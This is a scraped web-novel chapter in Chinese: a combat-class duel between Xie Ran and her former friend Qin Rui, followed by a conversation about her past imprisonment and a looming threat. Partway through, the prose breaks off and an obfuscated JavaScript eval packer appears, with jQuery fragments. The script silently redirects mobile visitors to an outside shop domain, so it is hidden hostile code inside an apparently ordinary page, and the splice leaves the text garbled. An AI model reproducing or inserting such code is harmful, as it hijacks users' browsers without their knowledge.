文趣网 > 其他小说 > 我有一张猫猫牌 > 50. 第 50 章
    谢然冷冷抬眸,对上秦瑞不怀好意的目光。

    她知道秦瑞想做什么,她两次任务都表现得太突出,这个曾和她朝夕相处的男人不可能不起疑心。

    返回卡尔德里斯后,他们一共见过四次。

    除了第一次在濯星坛意外相遇,之后每一次秦瑞都在试探她的身份。

    她现在还不想暴露自己是雷安特教授,让秦瑞猜到她的身份,对她来说弊大于利。

    但是。

    谢然攥了攥拳头。

    许久不揍那个讨厌的男人,她实在有些手痒。

    她挽起袖子,走上格斗台,皮笑肉不笑道:“请多指教了,秦老师。”

    秦瑞嘴角微微上扬:“不必客气,来吧。”

    虽说是格斗,但秦瑞的课上没什么规矩,格斗场上能用异能也能用武器。

    谢然拔出匕首,在指尖挽了个刀花:“赤手空拳同我打,输了别怪我欺负你。”

    台下学生齐齐倒吸了口凉气,敢说自己能打过秦瑞老师,她好大的口气!

    秦瑞:“先赢过我再说吧!”

    同谢然交手他不必像刚才那样束手束脚,率先出手,看似要夺谢然的刀,实则是看准了她没有防备的侧腰。

    同三年前一样的套路,谢然一眼看穿他的伎俩,反手握刀侧身挥向他的脖颈。

    秦瑞略一俯身,刀刃贴着他耳侧划过,斩断耳后几根头发。

    两人身位相交,秦瑞在惯性中向前,谢然趁机曲起手臂,手肘给了他后心重重一击。

    “咳——”

    秦瑞脚下一个踉跄,差点没站稳。后心被重击的感觉很不好受,让他一口气卡在胸腔不上不下。

    还没等他调整好呼吸,谢然的匕首又逼至面前。他只能顺势往地上一倒,堪堪躲过锋利的刀刃,然后掌心撑地,一个鲤鱼打挺重新站稳。

    这波明显是谢然占了上风,台下皆难以置信瞪大双目。

    苏祺悄悄同旁边的人咬耳朵:“没想到然宝这么厉害,我们那么菜,是不是拖她后腿了?”

    唯一知道真相的常纪明:“她应该不会嫌弃咱们。”

    台上,秦瑞迅速同她拉开一段距离,笑了笑说:“你的打法一点没变,还是老样子啊,小安。”

    他声音很轻,下边学生听不见,谢然将匕首横于胸前,刃尖锋芒毕露:“你也是,说话一如既往,怪恶心的。”

    她很不喜欢秦瑞给她起的昵称,每次听都要起一身鸡皮疙瘩,可这家伙偏偏不改,她“友好”提醒了几次,却依旧我行我素。

    好言相劝不听她只能采取暴力手段,于是约秦瑞上了无数次格斗台,誓要以绝对实力碾压,把他的嘴彻底堵住。

    只可惜她高估了自己的实力,也低估了秦瑞不要脸的程度。此人虽是正统世家出身,出招却完全不成体系,下流招式层出不穷,让她应接不暇。

    刚开始或许还愿意用正经招式跟她对打,但每次眼看她要赢了,此人便开始耍无赖。

    是以,虽然她同秦瑞打了百余场架,但几乎都以失败告终。如今看他那轻佻的眼神,估计还以为自己能胜券在握。

    不过……

    她深吸一口气,握紧匕首,以前她脑子轴看不上那些下三滥招式,不过现在不一样了。

    只要能战胜敌人,管你用什么招数呢?

    这张脸皮也不是非要不可!

    她瞄准秦瑞心脏,将匕首掷了出去。她准头极好力气又大,匕首像一枚巨型子弹,以极快的速度刺向对方要害。秦瑞下意识闪身往旁边躲,不料却正中她下怀。

    见她脸上扬起一抹诡异的笑容,秦瑞心下一骇,暗道不好——

    下一秒,他竟不偏不倚踩到地面上的一块凹槽,再次失去平衡!

    谢然笑意加深,那块凹槽早在第一节课她便注意到了,没想到至今也没有补好,反倒正好为她所用。

    她飞袭而上,将已失去平衡的人一脚踹翻,跨坐到他身上,将他死死压制在地。

    “你输了,秦瑞。”

    胜负只在转瞬间,台下一片唏嘘,谁也不敢相信最终会是这个结果,表情复杂看着传闻中战无不胜的格斗之王,被他们最瞧不起的一个平民学生压在身下。

    秦瑞轻笑,眼里没有被打败的不甘,只有见到她成长的欣慰:“小安,你还是变了。”

    “人都会变。”她拿过匕首抵住秦瑞脖子:“毕竟这三年我可不好过。”

    “你说的没错,人都是会变的。”秦瑞抬手捏住她手腕:“我也一样。”

    他掌心溢出丝缕荧白流光,谢然呼吸一窒,那光虽微弱,但比裘景嵘带给她的痛感更甚。

    秦瑞竟也有这种特殊能力!

    她手腕处的皮肤很快泛出一层红痕,身上的力气迅速流失。秦瑞的等级应当不低,让她完全没有招架之力。

    她手指脱力松开匕首,金属碰撞地板发出叮当脆响。秦瑞勾唇,洋洋得意道:“怎么样,我的异能不好受吧?”

    谢然拧眉,他竟然以为这是异能么?

    “不拿出你的异能来对付我么?”

    “……不需要。”

    她双脚踩住秦瑞胳膊,挣脱他的钳制,然后一拳砸到他下巴上。

    “怎么样,我的拳头不好受吧?”

    秦瑞哼笑:“力道一般,你没吃饭么?”

    接着又是一拳砸到刚才的位置,他的下巴很快浮出一大片淤青。

    “你的骨头可不像你的嘴那么硬。”

    “好吧我认输,小安,放了我吧?”

    秦瑞认怂认得很快,她到底不想让秦瑞破相,不用他说也打算见好就收。

    她脚下力道稍松,秦瑞却忽然腰下发力,捉住她手腕,翻身把她按到地上。

    形势瞬间逆转,台下众人惊呼。

    谢然反应不及,后脑勺结结实实磕到地板上,一时头晕目眩,眼冒金星。

    秦瑞扬眉:“你还是那么好骗,小安。”

    丝缕荧光又从他掌心溢了出来,谢然使不出一点力气,咬牙:“你还是那么不要脸!”

    秦瑞:“危急关头,诈降也是一种战术。这场比试又是我赢了。”

    他将匕首插到她脑袋旁,宣告这场比试的胜利。谢然忍不住翻了个白眼:“滚开!”

    他被骂了也不恼,依言起身,望向台下学生:“看清楚老师的招式了吗?”

    台下陷入沉默,招式是什么?这俩人的打法,和刚刚同埃文·格兰特的打法完全不一样啊!

    秦瑞啧了两声:“朽木不可雕!谢然同学,你来说获胜的精髓是什么?”

    她刚从地上站起,甩甩发痛的手腕,冷道:“精髓就是不要脸。”

    “孺子可教!”秦瑞满意道。

    最后一排苏祺嘴角微抽,所以当年,他就是这么打赢雷安特教授的吗……

    谢然淡淡瞥了秦瑞一眼,忍住翻白眼的冲动,冷脸返回队列。

    这毕竟是面向大众的普适性课程,不能太跳脱,玩笑过后,秦瑞还是恢复正经道:“记住,面对比你们强大数倍的敌人时,你们要学会的是以小博大,而不是以卵击石。格斗的技巧在于卸力,只要击破敌人核心,哪怕只松动一丝,在瞬息万变的战场中也能造成意想不到的效果。”

    刚才

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682007|204722||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不论是他还是埃文·格兰特,被击倒的原因都是核心不稳导致失去平衡,自乱阵脚后攻击力和防御力皆大打折扣,被人攻破也不过是时间问题。

    放台下学生各自领悟,他站在台上往下方扫视一圈,见谢然队伍里组队两两练习,只有她倚在不远处的石柱上,不知在想什么。

    他悄悄走过去,同谢然靠在一根柱子上,低声开口:“小安,你是不是应该给我一个解释?这三年你都去哪儿了?为什么不与我联系?”

    谢然睨了他一眼,觉得好笑:“我同你很熟么?生死攸关的事为什么要告诉你?”

    秦瑞知道她在赌气:“小安,当年我也有难处,你不能怪我不替你说话……”

    “人人都有自己的难处,我不怪你。”她淡声道:“但我们的关系也就这样了,你也不会把后背交给不信任自己的人,对么?”

    “当年那种情况,我们都被蒙在鼓里,谁能看清真相呢?”

    “但还是有人信任我的,不然我也不可能在那栋连食物都没有的监狱里活下去。”她深吸一口气:“只可惜那个人不是你,秦瑞。”

    “小安……”身侧的男人攥了攥拳,声音里带着深切的懊悔:“我也是后来才知道,慕恪给你送过吃的。如果她早些同我说,我会跟她一起去的。”

    那时雷安特教授被监禁在卡尔德里斯看守最森严的监狱,除了大主司谁也不得靠近,否则以同罪论处。他不知慕恪为什么敢冒那么大的风险,只是事后他也曾后悔为什么没有与她同去。

    谢然仰头,天花板上刺目的灯光打入眼底,她不由眯了下眼:“连最讨厌我的人都相信我的清白,为什么我最好的朋友不信呢?”

    秦瑞无言以对。

    人性复杂且傲慢,在慕恪于狱中露面前,她也没想到自己最后见到的人会是她。

    她以往最看不顺眼的死对头,在所有人都急着同她撇清关系时,竟独自冒着生命危险,送了她最后一程。

    谢然嘴角扬起一抹淡笑:“不说这些陈年旧事了,正好我也有其他的想问你。”

    “什么?”

    “你那‘异能’,什么时候觉醒的?”

    秦瑞:“时间不长,就在你从不夜星启程返回的那天。”

    “除了你之外,还有谁知道你觉醒了异能?”

    “还有慕恪,觉醒异能那天正好被她撞见。除此之外没别人了。”秦瑞见她表情不对,不明所以:“怎么了?”

    谢然松了口气,若只被慕恪知道,那倒还好,她知道慕恪不是多嘴的人。

    “那不是正常的异能,在弄清楚那是什么前,暂时先别往外说。”

    她三天前就将这怪异的能力上报给了大主司,并问他是否知道这东西的来历,但大主司公务繁忙,估计还没时间给她答复。

    秦瑞扬眉:“竟是这样么,怪不得总觉得它用起来有些奇怪……”

    “学校里有多少教授觉醒了异能?”

    “不多,我知道的只有两位,且等级都很低。”

    虽然大多数教授都注射了疫苗,但觉醒异能的比例远没有学生多。

    不过这毕竟是概率的问题,急也急不得。

    秦瑞:“你很关心现在有多少异能者?你在担心什么?”

    谢然说:“我在想如果有S级异域生物在首都星暴走,以我们现在的兵力,能否将它压制或击杀。”

    秦瑞蹙眉:“你是说斯立特?它不是被关到联邦监狱里了么?怎么可能暴走?”

    她垂下视线,声音虽轻却带着化不开的沉重:“谁知道呢,我总有一种不好的预感,现在的首都星真的安全么……”